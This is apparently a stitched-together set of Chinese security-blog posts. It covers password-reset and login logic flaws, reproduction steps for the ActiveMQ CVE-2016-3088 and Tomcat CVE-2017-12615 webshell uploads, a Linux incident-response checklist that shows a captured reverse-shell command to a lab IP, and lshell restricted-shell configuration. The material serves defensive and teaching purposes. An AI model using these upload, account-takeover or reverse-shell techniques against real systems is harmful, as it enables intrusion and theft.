重置密码最后一步是通过session获取用户名,然后再重置。而用户名是在重置密码第一步时与session进行绑定,那么如果重置密码的最后一步程序并没有验证该用户是够走完了验证流程,那么就可以通过重新绑定session为其他账号从而达到任意密码重置目的。

参考我之前提的案例:http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0114804.html

 

11、接口暴露导致登录任意账户

测试过程中发现***.com/uc/md5Encode?encodeStr=这个连接会返回一个加密串pkey,而测试使用微博账号登录时,微博登录成功后,接口会返回的Oauth Code

然后站点会跳转到

***.com/api/thirdpart/backinvoke.shtm?thirdPartyType=1&state=test&code=ab8be935aba7d6857****64523524218

会返回一个自动提交的表单,内容如下:

可以看到这个是防篡改了做了校验,如果我修改该username的值那么pkey的值就不匹配,无法成功登录。

而我们知道这个暴露了一个加密接口,我们组合上述字段的值提交给该接口发现pkey是吻合的。这就意味着防篡改验证失效,我可以通过修改username和该pkey值登录任意账户。

 

12、重置密码Token可控

重置密码最后一步的URL中的Key在之前的步骤中可以获得。

参考案例:http://wooyun.jozxing.cc/static/bugs/wooyun-2014-058210.html

http://wooyun.jozxing.cc/static/bugs/wooyun-2015-094242.html

 

13、去掉验证参数绕过验证

邮件系统取回密码功能设计逻辑错误,存在认证绕过漏洞,通过抓取数据包可通过修改报文,将找回问题答案参数删除后,直接进行对密码更改

参考案例:http://wooyun.jozxing.cc/static/bugs/wooyun-2014-088927.html

 

14、邮箱找回Token可预测

参考案例:http://wooyun.jozxing.cc/static/bugs/wooyun-2015-090226.html

token是当前的时间

参考案例:http://wooyun.jozxing.cc/static/bugs/wooyun-2012-08333.html

token为时间戳MD5值

参考案例:http://wooyun.jozxing.cc/static/bugs/wooyun-2013-027138.html

token为md5($code.$email)

 

15、邮箱找回Token未与用户ID绑定

参考案例:http://wooyun.jozxing.cc/static/bugs/wooyun-2013-024956.html

虽然有Token,但是没有和用户绑定,仍然可以通过修改username重置其他用户密码。

 

16、绑定手机和邮箱处CSRF

没有Token和验证码

参考案例:http://wooyun.jozxing.cc/static/bugs/wooyun-2013-028893.html

 

 

漏洞描述

ActiveMQ 是 Apache 软件基金会下的一个开源消息驱动中间件软件。Jetty 是一个开源的 servlet 容器,它为基于 Java 的 web 容器,例如 JSP 和 servlet 提供运行环境。ActiveMQ 5.0 及以后版本默认集成了jetty。在启动后提供一个监控 ActiveMQ 的 Web 应用。

漏洞原理其实非常简单,就是fileserver支持写入文件(但不解析jsp),同时支持移动文件(MOVE请求),可以MOVE到admin目录下直接GETShell。

 

影响版本

Apache Group ActiveMQ 5.0.0 – 5.13.2

 

CVE编号

CVE-2016-3088

 

复现过程

下载地址:http://archive.apache.org/dist/activemq/5.10.1/apache-activemq-5.10.1-bin.tar.gz

解压:tar -xzf apache-activemq-5.10.1-bin.tar.gz

启动:./activemq start

[root@server120 conf]# netstat -antlp | grep 8161

tcp        0      0 :::8161                     :::*                        LISTEN      23502/java

默认认证已经开启,配置文件jetty.xml

    <bean id="securityConstraint" class="org.eclipse.jetty.util.security.Constraint">

        <property name="name" value="BASIC" />

        <property name="roles" value="user,admin" />

        <!-- set authenticate=false to disable login -->

        <property name="authenticate" value="true" />

    </bean>

authenticate设置为false,可以未授权访问。

用户名密码的配置文件jetty-realm.properties

默认为:

admin: admin, admin

user: user, user

这里必须将admin账户修改为强密码。否则就可以利用未授权访问或者默认弱密码上传Webshell。

 

ActiveMQ 中的 FileServer 服务允许用户通过 HTTP PUT 方法上传文件到指定目录,用户可以上传文件到指定目录,该路径在 conf/jetty.xml 中定义

                        <bean class="org.eclipse.jetty.webapp.WebAppContext">

                            <property name="contextPath" value="/fileserver" />

                            <property name="resourceBase" value="${activemq.home}/webapps/fileserver" />

                            <property name="logUrlOnStart" value="true" />

                            <property name="parentLoaderPriority" value="true" />

                        </bean>

 

上传SHELL

这里我随便上传一个文件

[root@server120 apache-activemq-5.10.1]# cat webapps/fileserver/1.jsp

hehe123

这里首先爆上传目录

可以看到上传目录为/tmp/apache-activemq-5.10.1webapps/fileserver/

然后PUT上传cmd.jsp

fileserver目录是不解析jsp的,因为刚才通过爆路径获取到了绝对路径,这里MOVE到admin目录下。

然后执行命令

 

上传公钥

生成公钥并上传

然后移动到authorized_keys

 

上传定时任务

[root@server120 ~]# cat /tmp/xxoo.txt^M

123

 

修复建议

ActiveMQ在5.12.x~5.13.x版本中,已经默认关闭了fileserver这个应用(你可以在conf/jetty.xml中开启);

在5.14.0版本以后,彻底删除了fileserver应用。

 

 

 

CVE号:
CVE-2017-12615

漏洞危害:

默认Tomcat是禁止PUT和DELETE方法的,在tomcat中conf下的web.xml中:
可以看到关于readonly的解释
Is this context “read only”, so HTTP commands like PUT and DELETE are rejected?  [true] 可以看到默认是True,即不允许delete和put操作,会返回403。

如果不想限制的话,可以在Tomcat的web.xml 文件中配置org.apache.catalina.servlets.DefaultServlet的初始化参数中添加
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>

另外还可以修改应用中的web.xml
<?xml version=”1.0″ encoding=”UTF-8″?>
<web-app xmlns=”http://Java.sun.com/xml/ns/j2ee”
xmlns:xsi=”http://www.w3.org/2001/XMLSchema-instance”
xsi:schemaLocation=”http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd”
version=”2.4″>
的下面添加
<security-constraint>
<web-resource-collection>
<url-pattern>/*</url-pattern>
<http-method>PUT</http-method>
<http-method>DELETE</http-method>
<http-method>HEAD</http-method>
<http-method>OPTIONS</http-method>
<http-method>TRACE</http-method>
</web-resource-collection>
<auth-constraint>
</auth-constraint>
</security-constraint>

直接PUT上传Webshell。

一开始影响平台为Windows,受影响版本为Apache Tomcat 7.0.0 – 7.0.81。

复现过程如下
默认是无法上传jsp文件的

Windows环境下利用Windows 的特性。其一是 NTFS 文件流

其二是文件名的相关限制(如 Windows 中文件名不能以空格结尾)

后来披露Linux 和 Windows 服务器平台下从5.x到9.x全部的Tomcat版本都受影响,当 PUT 地址为/1.jsp/时,仍然会创建 JSP。
Windows下Apache Tomcat/8.0.46:

Linux下Apache Tomcat/8.0.46

这里有朋友问Nginx方向代理到Tomcat上,后端的Tomcat如果开启了PUT方法是否受影响,其实Nginx本身没有禁止PUT方法,所以还是会转发到后端,同样是受影响。

参考文章:
http://www.freebuf.com/vuls/148283.html

 

0x01 Web服务


一般如果网络边界做好控制,通常对外开放的仅是Web服务,那么需要先找到Webshell,可以通过如下途径:

1)检查最近创建的php、jsp文件和上传目录

例如要查找24小时内被修改的JSP文件:

find ./ -mtime 0 -name "*.jsp"

2)使用Webshell查杀工具

Windows下D盾等,Linux下河马等。

3)与测试环境目录做对比

diff -r {生产dir} {测试dir}

4)创建Audit审计规则

vim /etc/audit/audit.rules

-a exclude,always -F msgtype=CONFIG_CHANGE

-a exit,always -F arch=b64 -F uid=48 -S execve -k webshell

产生日志如下:

type=SYSCALL msg=audit(1505888691.301:898615): arch=c000003e syscall=59 success=yes exit=0 a0=ca5188 a1=cb5ec8 a2=cb5008 a3=8 items=2 ppid=26159 pid=26160 auid=0 uid=48 gid=48 euid=48 suid=48 fsuid=48 egid=48 sgid=48 fsgid=48 tty=(none) ses=120028 comm="ls" exe="/bin/ls" subj=unconfined_u:system_r:httpd_t:s0 key="webshell"

type=EXECVE msg=audit(1505888691.301:898615): argc=1 a0="ls"

type=CWD msg=audit(1505888691.301:898615):  cwd="/var/www/html/dvwa"

type=PATH msg=audit(1505888691.301:898615): item=0 name="/bin/ls" inode=2359385 dev=fd:00 mode=0100755 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:bin_t:s0 nametype=NORMAL

type=PATH msg=audit(1505888691.301:898615): item=1 name=(null) inode=1441842 dev=fd:00 mode=0100755 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:ld_so_t:s0 nametype=NORMAL

可以看到所在目录为/var/www/html/dvwa

具体Auditd的使用可以看我这篇文章

【企业安全实战】Web中间件EXECVE审计

 

如果没有通过上述途径找到Webshell,可以通过Access Log获取一些信息。

1)扫描特征

通常入侵行为会伴随着踩点和扫描行为,那么可以查一下具有扫描行为的日志。

例如使用AWVS扫描:

grep 'acunetix' /var/log/httpd/access_log

例如使用sqlmap,但是没有使用–random-agent,UA中带有sqlmap

grep 'sqlmap' /var/log/httpd/access_log

2)孤立页面

referer为 – 的php页面

3)Content-Length

攻击者打包回传,过滤Content-Length大于5M的日志

awk '{if($10>5000000){print $0}}' /var/log/httpd/access_log

需要注意这里如果发现疑似Webshell文件,先用stat记录下时间点,不要直接用vim查看编辑文件内容,这样会更改文件的mtime,对于应急响应来说,时间点很重要。对比时间点更容易在Log找到其他的攻击痕迹。

 

0x02 SSH服务


登录成功:

grep 'Accepted' /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr

或者

last,它会读取位于/var/log/wtmp的文件

 

登录失败:

grep 'Failed' /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr

或者

lastb,会读取位于/var/log/btmp的文件

 

检查SSH后门方式:

1)比对ssh的版本

ssh -V

2)查看ssh配置文件和/usr/sbin/sshd的时间

stat /usr/sbin/sshd

3)strings检查/usr/sbin/sshd,看是否有邮箱信息

strings可以查看二进制文件中的字符串,在应急响应中是十分有用的。有些sshd后门会通过邮件发送登录信息,通过

strings /usr/sbin/sshd

可以查看到邮箱信息。

4)通过strace监控sshd进程读写文件的操作

一般的sshd后门都会将账户密码记录到文件,可以通过strace进程跟踪到ssh登录密码文件。

ps axu | grep sshd | grep -v grep

root 65530 0.0 0.1 48428 1260 ? Ss 13:43 0:00 /usr/sbin/sshd

strace -o aa -ff -p 65530

grep open aa* | grep -v -e No -e null -e denied| grep WR

aa.102586:open("/tmp/ilog", O_WRONLY|O_CREAT|O_APPEND, 0666) = 4

 

0x03 进程


检查是否存在可疑进程,需要注意如果攻击者获取到了Root权限,被植入内核或者系统层Rootkit的话,进程可能会隐藏。

1)系统负载

例如挖矿程序特征就是系统负载高。使用Top命令查看

按照CPU排序:Shift+P

按照MEM排序:Shift+M

2)启动时间

与前面找到的Webshell时间点比对。

3)启动权限

这点很重要,比如某次应急中发现木马进程都是mysql权限执行的,如下所示:

mysql    63763 45.3  0.0  12284  9616 ?        R    01:18 470:54 ./db_temp/dazui.4

mysql    63765  0.0  0.0  12284  9616 ?        S    01:18   0:01 ./db_temp/dazui.4

mysql    63766  0.0  0.0  12284  9616 ?        S    01:18   0:37 ./db_temp/dazui.4

mysql    64100 45.2  0.0  12284  9616 ?        R    01:20 469:07 ./db_temp/dazui.4

mysql    64101  0.0  0.0  12284  9616 ?        S    01:20   0:01 ./db_temp/dazui.4

那基本可以判断是通过Mysql入侵,重点排查Mysql弱口令、UDF提权等。

4)父进程

例如我在菜刀中反弹Bash

[root@server120 html]# ps -ef | grep '/dev/tcp' | grep -v grep

apache   26641  1014  0 14:59 ?        00:00:00 sh -c /bin/sh -c "cd /root/apache-tomcat-6.0.32/webapps/ROOT/;bash -i >& /dev/tcp/192.168.192.144/2345 0>&1;echo [S];pwd;echo [E]" 2>&1

父进程进程号1014

[root@server120 html]# ps -ef | grep 1014

apache    1014  1011  0 Sep19 ?        00:00:00 /usr/sbin/httpd

可以看到父进程为apache,就可以判断攻击者通过Web入侵。

 

lsof -p pid:查看可疑进程打开的文件

例如之前遇到的十字病毒,会修改ps和netstat显示的进程名称

udp        0      0 0.0.0.0:49937               0.0.0.0:*                               131683/ls -la

udp        0      0 0.0.0.0:47584               0.0.0.0:*                               116515/ifconfig

很明显的异常,ls和ifconfig不会存在监听行为。

[root@DataNode105 admin]# lsof -p 131683

COMMAND      PID USER   FD   TYPE    DEVICE SIZE/OFF     NODE NAME

hahidjqzx 131683 root  cwd    DIR      8,98     4096 18087937 /root

hahidjqzx 131683 root  rtd    DIR      8,98     4096        2 /

hahidjqzx 131683 root  txt    REG      8,98   625622 24123895 /usr/bin/hahidjqzxs

可疑看到真正的可执行文件是/usr/bin/hahidjqzxs

file:查看文件类型:

[root@server120 tmp]# file .zl

zl: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped

strings:显示二进制的文件中可读字符

[root@server120 tmp]# strings .zl

rm -f /boot/IptabLes ; rm -f /boot/.IptabLes ; rm -f /boot/IptabLex ; rm -f /boot/.IptabLex ; rm -f /usr

/IptabLes ; rm -f /usr/.IptabLes ; rm -f /usr/IptabLex ; rm -f /usr/.IptabLex

netstat -anp | grep "IptabLes" |awk '{print $NF}' |cut -d "/" -f 1 | xargs kill -9 > /dev/null ;free -m

> /dev/null

netstat -anp | grep "IptabLex" |awk '{print $NF}' |cut -d "/" -f 1 | xargs kill -9 > /dev/null ;free -m

> /dev/null

例如之前应急遇到的命令替换,通过Strings查看发现有大量的IP地址,就是明显的异常现象。

[root@i-9kp9tipm log]# strings /usr/bin/.sshd | egrep '[1-9]{1,3}\.[1-9]{1,3}\.'

8.8.8.8

8.8.4.4

8.8.8.8

61.132.163.68

202.102.192.68

202.102.213.68

58.242.2.2

202.38.64.1

211.91.88.129

211.138.180.2

218.104.78.2

202.102.199.68

202.175.3.3

 

0x04 网络连接


需要注意如果攻击者获取到了Root权限,被植入内核或者系统层Rootkit的话,连接可能会被隐藏。

netstat -antlp | grep ESTABLISHED

查看已经建立的网络连接,例如反弹bash

[root@server120 html]# netstat -antlp | grep EST | grep bash

tcp        0      0 192.168.192.120:41320       192.168.192.144:2345        ESTABLISHED 26643/bash

 

netstat -antlp | grep LISTEN

检查可以监听端口,例如攻击者在本地开启sock5代理,然后使用SSH转发1080端口。

[root@server120 html]# netstat -antlp | grep LISTEN | grep 1080

tcp        0      0 0.0.0.0:1080                0.0.0.0:*                   LISTEN      26810/python

 

[root@template tmp]# lsof -i:80

COMMAND   PID   USER   FD   TYPE DEVICE SIZE/OFF NODE NAME

nginx   15608   root    6u  IPv4 958629      0t0  TCP *:http (LISTEN)

nginx   23814 nobody    6u  IPv4 958629      0t0  TCP *:http (LISTEN)

 

0x05 敏感目录


/tmp, /var/tmp, /dev/shm,所有用户都可读,可写,可执行

[root@server120 ~]# ls -ald /tmp/

drwxrwxrwt. 10 root root 4096 9月  20 09:41 /tmp/

[root@server120 ~]# ls -ald /var/tmp/

drwxrwxrwt. 2 root root 4096 9月  18 16:57 /var/tmp/

[root@server120 ~]# ls -ald /dev/shm

drwxrwxrwt. 3 root root 60 9月   1 10:23 /dev/shm

 

0x06 history


默认的history仅记录执行的命令,然而这些对于应急来说是不够的,很多系统加固脚本会添加记录命令执行的时间,修改记录的最大条数。
另外之前写的关于Bash审计方式也很推荐,链接:

【企业安全实战】运维Bash命令审计

 

0x07 开机启动


【应急响应】开机启动知识梳理

 

0x08 定时任务


【应急响应】定时任务知识梳理

 

0x09 Rootkit


Rootkit功能通常有隐藏文件、进程、连接、模块,网络嗅探,后门,日志擦除,键盘记录(SSH密码记录)等。

检查命令替换,比较直观的方式就是比较命令的大小和mtime了。

1)比对命令的大小

例如正常的ps和netstat大小

[root@vincent tmp]# ll /bin/ps

-rwxr-xr-x 1 root root 87112 11月 15 2012 /bin/ps

[root@vincent tmp]# ll /bin/netstat

-rwxr-xr-x 1 root root 128216 5月  10 2012 /bin/netstat

下面是其中有一次应急时的记录

[root@DataNode110 admin]# ls -alt /bin/ | head -n 10

total 10836

-rwxr-xr-x   1 root root   625633 Aug 17 16:26 tawlqkazpu

dr-xr-xr-x.  2 root root     4096 Aug 17 16:26 .

-rwxr-xr-x   1 root root  1223123 Aug 17 11:30 ps

-rwxr-xr-x   1 root root  1223123 Aug 17 11:30 netstat

可以看到ps和netstat是一样大的。

2)查看命令的修改时间,按修改时间排序

ls -alt /bin/ | head -n 5

 

而比较全面的检测方式有:

1)rpm -aV

RPM Database 不仅提供了 RPM 包的查询功能,还提供了对已安装的 RPM 包进行验证的功能。默认情况下,RPM Database 存放在 /var/lib/rpm 目录。

需要注意这条命令局限性就是只能检查通过RPM包安装的所有文件。另外为了防止rpm也被替换,上传一个安全干净稳定版本rpm二进制到服务器上进行检查。

我们可以对系统中所有 RPM 文件做一个全面检查

[root@vincenthostname tmp]# rpm -aV

S.?....T.    /bin/ps

...

输出标记含义如下:

S: 表示文件长度发生了变化

M: 表示文件的访问权限或文件类型发生了变化

5: 表示MD5校验和发生了变化。

D: 表示设备节点的属性发生了变化

L: 表示文件的符号链接发生率变化

U: 表示文件/子目录/设备节点的owner发生了变化

G: 表示文件/子目录/设备节点的group发生了变化

T: 表示文件最后一次的修改时间发生了变化

可以看到使用rpm的方式同样可以检查出文件长度和mtime的改变。

列出某个文件是否被改动过:

[root@localhost cron.daily]# rpm -Vf /bin/bash

S.5....T.    /bin/bash

 

2)使用chkrootkit和rkhunter查看

rkhunter与chkrootkit的安装测试(rootkit kbeast环境)

 

0x10 病毒检测


https://x.threatbook.cn/

http://www.virscan.org

https://www.virustotal.com/

https://fireeye.ijinshan.com/

 

0x11 文件权限


一般是使用chattr或者setfacl来设置权限。

chattr可以修改属性能够提高系统的安全性,但是它并不适合所有的目录。chattr命令不能保护/、/dev、/tmp、/var目录,常用参数如下:

a:即append,设定该参数后,只能向文件中添加数据,而不能删除,多用于服务器日志文件安全,只有root才能设定这个属性。

i:设定文件不能被删除、改名、设定链接关系,同时不能写入或新增内容。i参数对于文件 系统的安全设置有很大帮助。

s:保密性地删除文件或目录,即硬盘空间被全部收回。

u:与s相反,当设定为u时,数据内容其实还存在磁盘中,可以用于undeletion。

例子:

设置/etc/resolv.conf为不可修改

[root@vincent tmp]# chattr +i /etc/resolv.conf

[root@vincent tmp]# lsattr /etc/resolv.conf

----i--------e- /etc/resolv.conf

[root@vincent tmp]# echo "" > /etc/resolv.conf

-bash: /etc/resolv.conf: 权限不够

可以使用lsattr查看文件权限

[root@vincent tmp]# lsattr 1.txt

-----a-------e- 1.txt

 

setfacl其实是设置文件的访问控制列表,传统的 Linux 文件系统的权限控制是通过 user、group、other 与 r(读)、w(写)、x(执行) 的不同组合来实现的,同时存在不灵活的问题, 例如目录 /data 的权限为:drwxr-x—,所有者与所属组均为 root,在不改变所有者的前提下,要求用户 tom 对该目录有完全访问权限 (rwx).考虑以下2种办法 (这里假设 tom 不属于 root group)

(1) 给 /data 的 other 类别增加 rwx permission,这样由于 tom 会被归为 other 类别,那么他也将拥有 rwx 权限。

(2) 将 tom 加入到 root group,为 root group 分配 rwx 权限,那么他也将拥有 rwx 权限。

以上 2 种方法其实都不合适,为了解决这些问题,Linux 开发出了一套新的文件系统权限管理方法,叫文件访问控制列表 (Access Control Lists, ACL)。简单地来说,ACL 就是可以设置特定用户或者用户组对于一个文件的操作权限。文件的所有者以及有CAP_FOWNER(在目前的linux系统上,root用户是唯一有CAP_FOWNER能力的用户)的用户进程可以设置一个文件的acl。ACL 有两种,一种是access ACL,针对文件和目录设置访问控制列表。一种是default ACL,只能针对目录设置。如果目录中的文件没有设置 ACL,它就会使用该目录的默认 ACL.

getfacl获取文件权限

[root@vincent tmp]# getfacl 1.cap

# file: 1.cap

# owner: root

# group: root

user::rw-

group::r--

other::r--

 

setfacl设置Access ACL

比如我设置/tmp/1.sh的other权限为000,然后切换到vinc账户。

[vinc@vincent tmp]$ cat 1.sh

cat: 1.sh: 权限不够

然后我们添加ACL

[root@vincent opt]# setfacl -m u:vinc:rwx /tmp/1.sh

然后我们使用ll查看,发现第一个字段文件权限第十位变成了+号

[root@vincent tmp]# ll 1.sh

-rwxrwx---+ 1 root root 512 8月   9 03:21 1.sh

然后我们使用getfacl查看

[vinc@vincent tmp]$ getfacl 1.sh

# file: 1.sh

# owner: root

# group: root

user::rwx

user:vinc:rwx

group::r-x

mask::rwx

other::---

我们切换到vinc账户就可以查看内容了

[vinc@vincent tmp]$ cat 1.sh

test

删除这条ACL

[root@vincent tmp]# setfacl -x u:vinc /tmp/1.sh

取消所有的ACL

[root@vincent tmp]# setfacl -b /tmp/1.sh

 

default acl是指对于一个目录进行default acl设置,并且在此目录下建立的文件都将继承此目录的acl。

[root@vincent opt]# setfacl -d -m u:hehe:--- 1

来看下目录1的权限

[root@vincent opt]# getfacl -c 1

user::rwx

group::r-x

other::r-x

default:user::rwx

default:user:hehe:---

default:group::r-x

default:mask::r-x

default:other::r-x

我们在目录1下新建的文件都将继承这个权限。我们在目录1下新建一个文件,然后查看一下ACL

[vinc@vincent 1]$ getfacl 222

# file: 222

# owner: vinc

# group: vinc

user::rw-

user:hehe:---

group::r-x                   #effective:r--

mask::r--

other::r--

切换到hehe账户,查看文件,提示权限不够。

[hehe@vincent 1]$ cat /opt/1/222

cat: /opt/1/222: 权限不够

 

Lshell用于构建一个受限的Shell环境,由Python编写,其功能如下:
1)限制可以使用的命令
2)记录用户执行的命令
3)限制可以访问的目录
4)限制环境变量
…..

安装步骤:
下载源码https://github.com/ghantoos/lshell
python setup.py install –no-compile –install-scripts=/usr/bin/
cp /etc/lshell.conf /usr/local/etc/

配置:
默认的配置文件中有Default配置,另外有可以创建[username]或者[grp:groupname]来定制用户的个性配置。
配置的优先级如下:
a.User配置
b.Group配置
c.Default配置

修改用户的shell环境:
chsh -s /usr/bin/lshell user_name

配置文件参数:

# lshell.py configuration file
#
# $Id: lshell.conf,v 1.27 2010-10-18 19:05:17 ghantoos Exp $

[global]
##  log directory (default /var/log/lshell/ )
logpath         : /var/log/lshell/
##  set log level to 0, 1, 2, 3 or 4  (0: no logs, 1: least verbose,
##                                                 4: log all commands)
loglevel        : 2
##  configure log file name (default is %u i.e. username.log)
#logfilename     : %y%m%d-%u
#logfilename     : syslog

##  in case you are using syslog, you can choose your logname
#syslogname      : myapp

##  Set path to sudo noexec library. This path is usually autodetected, only
##  set this variable to use alternate path. If set and the shared object is
##  not found, lshell will exit immediately. Otherwise, please check your logs
##  to verify that a standard path is detected.
##
##  while this should not be a common practice, setting this variable to an empty
##  string will disable LD_PRELOAD prepend of the commands. This is done at your
##  own risk, as lshell becomes easily breached using some commands like find(1)
##  using the -exec flag.
#path_noexec     : /usr/libexec/sudo_noexec.so

## include a directory containing multiple configuration files. These files
## can only contain default/user/group configuration. The global configuration will
## only be loaded from the default configuration file.
## e.g. splitting users into separate files
#include_dir     : /etc/lshell.d/*.conf

[default]
##  a list of the allowed commands without execution privileges or 'all' to
##  allow all commands in user's PATH
##
##  if  sudo(8) is installed and sudo_noexec.so is available, it will be loaded
##  before running every command, preventing it from  running  further  commands
##  itself. If not available, beware of commands like vim/find/more/etc. that
##  will allow users to execute code (e.g. /bin/sh) from within the application,
##  thus easily escaping lshell. See variable 'path_noexec' to use an alternative
##  path to library.
allowed         : ['ls', 'echo','ll']

##  A list of the allowed commands that are permitted to execute other
##  programs (e.g. shell scripts with exec(3)). Setting this variable to 'all'
##  is NOT allowed. Warning do not put here any command that can execute
##  arbitrary commands (e.g. find, vim, xargs)
##
##  Important: commands defined in 'allowed_shell_escape' override their
##  definition in the 'allowed' variable
#allowed_shell_escape        : ['man','zcat']

##  a list of forbidden character or commands
forbidden       : [';', '&', '|','`','>','<', '$(', '${']

##  a list of allowed command to use with sudo(8)
##  if set to ´all', all the 'allowed' commands will be accessible through sudo(8)
#sudo_commands   : ['ls', 'more']

##  number of warnings when user enters a forbidden value before getting 
##  exited from lshell, set to -1 to disable.
warning_counter : 2

##  command aliases list (similar to bash’s alias directive)
aliases         : {'ll':'ls -l'}

##  introduction text to print (when entering lshell)
#intro           : "== My personal intro ==\nWelcome to lshell\nType '?' or 'help' to get the list of allowed commands"

##  configure your promt using %u or %h (default: username)
#prompt          : "%u@%h"

##  set sort prompt current directory update (default: 0)
#prompt_short    : 0

##  a value in seconds for the session timer
#timer           : 5

##  list of path to restrict the user "geographicaly"
##  warning: many commands like vi and less allow to break this restriction
#path            : ['/home/bla/','/etc']

##  set the home folder of your user. If not specified the home_path is set to 
##  the $HOME environment variable
#home_path       : '/home/bla/'

##  update the environment variable $PATH of the user
#env_path        : ':/usr/local/bin:/usr/sbin'

##  a list of path; all executable files inside these path will be allowed 
#allowed_cmd_path: ['/home/bla/bin','/home/bla/stuff/libexec']

##  add environment variables
#env_vars        : {'foo':1, 'bar':'helloworld'}

##  allow or forbid the use of scp (set to 1 or 0)
#scp             : 1

## forbid scp upload
#scp_upload       : 0

## forbid scp download
#scp_download     : 0

##  allow of forbid the use of sftp (set to 1 or 0)
##  this option will not work if you are using OpenSSH's internal-sftp service
#sftp            : 1

##  list of command allowed to execute over ssh (e.g. rsync, rdiff-backup, etc.)
#overssh         : ['ls', 'rsync']

##  logging strictness. If set to 1, any unknown command is considered as 
##  forbidden, and user's warning counter is decreased. If set to 0, command is
##  considered as unknown, and user is only warned (i.e. *** unknown synthax)
strict          : 0

##  force files sent through scp to a specific directory
#scpforce        : '/home/bla/uploads/'

##  Enable support for WinSCP with scp mode (NOT sftp)
##  When enabled, the following parameters will be overridden:
##    - scp_upload: 1 (uses scp(1) from within session)
##    - scp_download: 1 (uses scp(1) from within session)
##    - scpforce - Ignore (uses scp(1) from within session)
##    - forbidden: -[';']
##    - allowed: +['scp', 'env', 'pwd', 'groups', 'unset', 'unalias']
#winscp: 0

##  history file maximum size 
#history_size     : 100

##  set history file name (default is /home/%u/.lhistory)
#history_file     : "/home/%u/.lshell_history"

##  define the script to run at user login
#login_script     : "/path/to/myscript.sh"

## disable user exit, this could be useful when lshell is spawned from another
## none-restricted shell (e.g. bash)
#disable_exit      : 0

配置例子:
foo:
1)可以访问/usr和/var,无法访问/usr/local
2)可以执行除了su以外的命令
3)家目录/home/users

bar:
1)可以访问/usr和/etc,无法访问/usr/local
2)除了default的命令还可以执行ping,无法执行ls
3)开启strict(1:表示每个unknown命令都会减少warning counter的数量;0:针对unknown命令只是提醒,不会减少warning counter的数量)

配置文件如下:

# CONFIGURATION START
[global]
logpath         : /var/log/lshell/
loglevel        : 2

[default]
allowed         : ['ls','pwd']
forbidden       : [';', '&', '|'] 
warning_counter : 2
timer           : 0
path            : ['/etc', '/usr']
env_path        : ':/sbin:/usr/foo'
scp             : 1 # or 0
sftp            : 1 # or 0
overssh         : ['rsync','ls']
aliases         : {'ls':'ls --color=auto','ll':'ls -l'}

[grp:users]
warning_counter : 5
overssh         : - ['ls']

[foo]
allowed         : 'all' - ['su']
path            : ['/var', '/usr'] - ['/usr/local']
home_path       : '/home/users'

[bar]
allowed         : + ['ping'] - ['ls'] 
path            : - ['/usr/local']
strict          : 1
scpforce        : '/home/bar/uploads/'
# CONFIGURATION END